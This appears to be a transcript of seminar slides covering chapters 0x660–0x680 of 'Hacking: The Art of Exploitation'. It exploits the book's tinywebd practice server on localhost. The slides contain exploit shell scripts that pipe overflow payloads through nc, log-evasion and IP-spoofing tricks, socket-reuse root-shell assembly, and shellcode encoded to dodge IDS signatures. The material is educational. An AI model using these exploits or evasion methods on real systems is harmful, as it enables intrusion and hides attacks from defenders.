Hacking: The Art of Exploitation

Download Report

Transcript Hacking: The Art of Exploitation

Hacking: The Art of Exploitation
0x660 - 0x680
2014.12.11
Presenter: Jaesang Oh
1
Contents
• 0x660: Advanced Camouflage
• 0x670: The Whole Infrastructure
• 0x680: Payload Smuggling
2
0x660: Advanced Camouflage
• In previous topic, we discuss how to hide exploit attempt
written in a log file
• Example: Blend in with the Crowd
• But IP address of attacker still written in a log file
jaesang@jaesang-desktop:/var/log $ sudo cat tinywebd.log
12/11/2014 02:43:27> Starting up..
12/11/2014 02:43:41> From 127.0.0.1:36059 "GET / HTTP/1.1"
200 OK
12/11/2014 02:43:41> From 127.0.0.1:36060 "GET /image.jpg HTTP/1.1" 200 OK
12/11/2014 02:43:41> From 127.0.0.1:36061 "GET /favicon.ico HTTP/1.1" 404 Not Found
jaesang@jaesang-desktop:/var/log $
3
How to know the IP address
• In tinywebd.c,
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
length = recv_line(sockfd, request);
sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr
->sin_port), request);
• Sockaddr_in struct contains the IP address and port number
• Spoof IP address by overwriting client_addr_ptr
4
Value of client_addr_ptr
• Executing addr_struct.c ,
int main(int argc, char *argv[]) {
struct sockaddr_in addr;
if(argc != 3) {
printf("Usage: %s <target IP> <target port>\n", argv[0]);
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
addr.sin_addr.s_addr = inet_addr(argv[1]);
write(1, &addr, sizeof(struct sockaddr_in));
printf ("\n\nSizeof sockaddr_in: %d\n\n", sizeof(struct sockaddr_in));
}
• We can get
jaesang@jaesang-desktop:~/booksrc $ ./addr_struct 12.34.56.78 9090
#�
"8N�o
Sizeof sockaddr_in: 16
jaesang@jaesang-desktop:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 6f fd b7
00000010 0a 0a 53 69 7a 65 6f 66 20 73 6f 63 6b 61 64 64
00000020 72 5f 69 6e 3a 20 31 36 0a 0a
0000002a
jaesang@jaesang-desktop:~/booksrc $
|..#.."8N.....o..|
|..Sizeof sockadd|
|r_in: 16..|
5
Exploit Code
• request buffer location == 0xbffff520
• RET location == 0xbffff73c
• Offset == 540 bytes
(gdb) x/x request
0xbffff520:
0x20544547
(gdb) x/16x request + 500
0xbffff714:
0xb7fd6ff4
0xbffff724:
0xb7ff9300
0xbffff734:
0xb7fd6ff4
0xbffff744:
0xbffff770
(gdb) x/x 0xbffff734 + 8
0xbffff73c:
0x08048fb7
(gdb) p 0xbffff73c - 0xbffff520
$1 = 540
(gdb)
0xb8000ce0
0xb7fd6ff4
0xbffff7a8
0x00000005
0x00000000
0xbffff7a8
0x08048fb7
0xbffff798
0xbffff7a8
0xb7fd6ff4
0x00000007
0x00000004
• Exploit
• [ Fake Request ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ]
== 544 bytes
6
Exploit code (xtool_tinywebd_spoof.sh)
• [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ]
[ RET Addr * 32 ] [ *client_addr_ptr ] == 552 bytes
#!/bin/sh
# IP spoofing stealth exploitation tool for tinywebd
SPOOFIP="12.34.56.78"
SPOOFPORT="9090“
……
RETADDR="\x84\xf5\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0 – I have to modify hex value
FAKEADDR="\x2f\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 – I have to modify hex value
……
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
(perl -e "print \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80
7
Execution Result
• Failed (In my Lab Computer)
(gdb) x/x request
0xbffff580: 0x20544547
(gdb) cont
Continuing.
Breakpoint 1, handle_connection (sockfd=7, client_addr_ptr=0xbffff7d0,
logfd=3) at tinywebd.c:86
86
length = recv_line(sockfd, request);
(gdb) cont
Continuing.
Breakpoint 1, handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0,
logfd=3) at tinywebd.c:86
86
length = recv_line(sockfd, request);
(gdb) bt
#0 handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3)
at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) print *client_addr_ptr
$1 = {sin_family = 2, sin_port = 60134, sin_addr = {s_addr = 16777343},
sin_zero = "\000\000\000\000\000\000\000"}
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08048fe1 in handle_connection (sockfd=-169558017,
client_addr_ptr=0xf5e4bfff, logfd=-169558017) at tinywebd.c:88
88
sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
(gdb)
8
Execution Result
• Success (In my Macbook)
Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3)
at tinywebd.c:86
86
length = recv_line(sockfd, request);
(gdb) b 89
Breakpoint 2 at 0x8049028: file tinywebd.c, line 89.
(gdb) print *client_addr_ptr
$2 = {sin_family = 2, sin_port = 33438, sin_addr = {s_addr = 16777343},
sin_zero = "\000\000\000\000\000\000\000"}
(gdb) cont
Continuing.
Breakpoint 2, handle_connection (sockfd=-1073744497,
client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90
90
ptr = strstr(request, " HTTP/"); // search for valid looking request
(gdb) print *client_addr_ptr
$3 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},
sin_zero = "\000\000\000\000�o
(gdb) x/s log_buffer
0xbffff180: "From 12.34.56.78:9090 \"GET / HTTP/1.1\"\t“
• I don’t know why it happens :(
9
Do not write Log
• In handle_connection function,
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
…
write(logfd, log_buffer, length); // write to the log
• In previous slide,
Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3)
at tinywebd.c:86
• If logfd is not 3, it fails to write log
jaesang@jaesang-laptop:~/booksrc $ sudo strace -p 5200 -e trace=write
Process 5200 attached - interrupt to quit
write(2560, "12/11/2014 11:24:49> ", 21) = -1 EBADF (Bad file descriptor)
write(2560, "From 12.34.56.78:9090 \"GET / HTT"..., 47) = -1 EBADF (Bad file descriptor)
write(3, "12/11/2014 11:34:41> ", 21) = 21
write(3, "From 127.0.0.1:57891 \"GET / HTTP"..., 46) = 46
10
Exploit Code
• If we change the value of logfd, log will be w
• [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ]
[ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor]
== 553 bytes
……
(perl -e "print \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80
• File Descriptor value “1”
• Daemon does not print the result to Standard output(fd == 1)
• ( redirect output to /dev/null )
11
Execution Result (In my Mac)
jaesang@jaesang-laptop:~/booksrc $ ls -l /Hacked
-rw------- 1 root root 0 2014-12-11 10:59 /Hacked
jaesang@jaesang-laptop:~/booksrc $ sudo rm /Hacked
Password:
jaesang@jaesang-laptop:~/booksrc $ ps aux | grep tinywebd
root 5200 0.0 0.0 1636 464 ?
Ss 10:58 0:00 ./tinywebd
jaesang 6440 0.0 0.1 2880 748 pts/0 R+ 11:41 0:00 grep tinywebd
jaesang@jaesang-laptop:~/booksrc $ ls -l /var/log/tinywebd.log
-rw------- 1 root root 586 2014-12-11 11:34 /var/log/tinywebd.log
jaesang@jaesang-laptop:~/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: mark_restore (53 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
jaesang@jaesang-laptop:~/booksrc $ ls -l /var/log/tinywebd.log
-rw------- 1 root root 586 2014-12-11 11:34 /var/log/tinywebd.log
jaesang@jaesang-laptop:~/booksrc $ ls -l /Hacked
-rw------- 1 root root 0 2014-12-11 11:42 /Hacked
jaesang@jaesang-laptop:~/booksrc $
• Shellcode executed without writing log
12
0x670: The Whole Infrastructure
• IDS and IPS detect exploit attempt by several ways
• Analyze abnormal log
• Check connection with other port, such as 31337
• We can use same socket since we already open socket
from the web request
13
Socket Reuse
• However, we corrupt socket descriptor when overflowing
request buffer
• In previous Execution result,
Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3)
at tinywebd.c:86
Breakpoint 2, handle_connection (sockfd=-1073744497,
client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90
• Since sockfd is passed-by-value to handle_connection(),
original value of sockfd is remain in main()
14
Socket Reuse – tinywebd.c
• In main()
int new_sockfd, yes=1;
……
while(1) { // Accept loop
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if(new_sockfd == -1)
fatal("accepting connection");
handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
15
Calculating the address of new_sockfd
• Distance(Offset) from ESP
Breakpoint 1, handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0,
logfd=3) at tinywebd.c:86
86
length = recv_line(sockfd, request);
(gdb) x/x &sockfd
0xbffff7a0: 0x00000010
(gdb) x/x &new_sockfd
No symbol "new_sockfd" in current context.
(gdb) bt
#0 handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3)
at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) select-frame 1
(gdb) x/x &new_sockfd
0xbffff7fc: 0x00000010
(gdb) i r esp
esp
0xbffff7a0
0xbffff7a0
(gdb) p /x 0xbffff7fc - 0xbffff7a0
$1 = 0x5c
(gdb)
• 0x5c is the distance of new_sockfd from ESP
16
Loopback shell improved (0x650)
• socket_reuse_restore.s
……
child_process:
; re-use existing socket
lea edx, [esp+0x5c] ; put the address of new_sockfd in edx
mov ebx, [edx]
; put the value of new_sockfd in ebx
push BYTE 0x02
pop ecx
; ecx starts at 2
xor eax, eax
xor edx, edx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80
; dup2(c, 0)
dec ecx
; count down to 0
jns dup_loop ; if the sign flag is not set, ecx is not negative
……
• Copy used socket descriptor (new_sockfd) to fd 0, 1, and 2
17
Execve in Socket_reuse_restore.s
• Socket_reuse_restore.s cont
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx
; push some nulls for string termination
push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
push edx
; push 32-bit null terminator to stack
mov edx, esp ; this is an empty array for envp
push ebx
; push string addr to stack above null terminator
mov ecx, esp ; this is the argv array with string ptr
int 0x80
; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
• For compare result in next topic
18
Exploit code (xtool_tinywebd_reuse.sh)
• [ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ]
[ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] [ cat
command ]
……
(perl -e "print \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"";
cat -;) | nc -v $2 80
19
Execution Result (In my Mac)
jaesang@jaesang-laptop:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: socket_reuse_restore (62 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
whoami
root
pwd
/home/jaesang/booksrc
• By using existing socket and netcat, we can use command
as root privilege
20
0x680: Payload Smuggling
• IDS or IPS can also analyze the packet itself
• For example, they can find shell code which contains the
substring /bin or //sh (to make /bin/sh)
• socket_reuse_restore.s file
jaesang@jaesang-laptop:~/booksrc $
00000000 6a 02 58 cd 80 85 c0 74
00000010 04 08 c3 8d 54 24 5c 8b
00000020 b0 3f cd 80 49 79 f9 b0
00000030 2f 62 69 6e 89 e3 52 89
0000003e
hexdump -C socket_reuse_restore
0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|
1a 6a 02 59 31 c0 31 d2 |....T$\..j.Y1.1.|
0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|
e2 53 89 e1 cd 80
|/bin..R..S....|
• We can bypass it by hiding this string
21
String Encoding
• Strategy: Simply add 5 to each byte in the string in hiding
phase, and subtract 5 in the shell code
jaesang@jaesang-desktop:/var/log $ echo "/bin/sh" | hexdump -C
00000000 2f 62 69 6e 2f 73 68 0a
|/bin/sh.|
<- 0a should be modified to 00 to indicate string
00000008
jaesang@jaesang-desktop:/var/log $ gdb -q
(gdb) print /x 0x0a68732f + 0x05050505
$1 = 0xf6d7834
<- should be modified to 0x56d7834
(gdb) print /x 0x6e69622f + 0x05050505
$2 = 0x736e6734
(gdb)
22
String Encoding In Shellcode
• Other things are similar to previous shellcode.
But this shellcode does not contain /bin or //sh itself
• encoded_socketreuserestore.s
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack
push 0x736e6734 ; push "/bin" encoded +5 to the stack
mov ebx, esp ; put the address of encoded "/bin/sh" into ebx
……
push BYTE 0x8 ; need to decode 8 bytes
pop edx
decode_loop:
sub BYTE [ebx+edx], 0x5
dec edx
jns decode_loop
23
Execution Result (In my Mac)
jaesang@jaesang-laptop:~/booksrc $ hexdump -C encoded_sockreuserestore
00000000
00000010
00000020
00000030
00000040
00000047
6a
04
cd
73
89
02
08
80
89
e2
58
c3
49
e3
53
cd
8d
79
6a
89
80
54
f9
08
e1
85
24
b0
5a
cd
c0
5c
0b
80
80
74
8b
68
2c
0a
1a
34
13
8d
6a
78
05
6c
02
6d
4a
24
59
05
79
68
31
68
f9
68
c0
34
31
b7
b0
67
d2
8f
3f
6e
52
|j.X....t..l$hh..|
|....T$\..j.Y1..?|
|..Iy...h4xm.h4gn|
|s..j.Z.,..Jy.1.R|
|..S....|
jaesang@jaesang-laptop:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1
target IP: 127.0.0.1
shellcode: encoded_sockreuserestore (71 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
whoami
root
• We can use shell without “/bin/sh” inside the shellcode
24
…?
25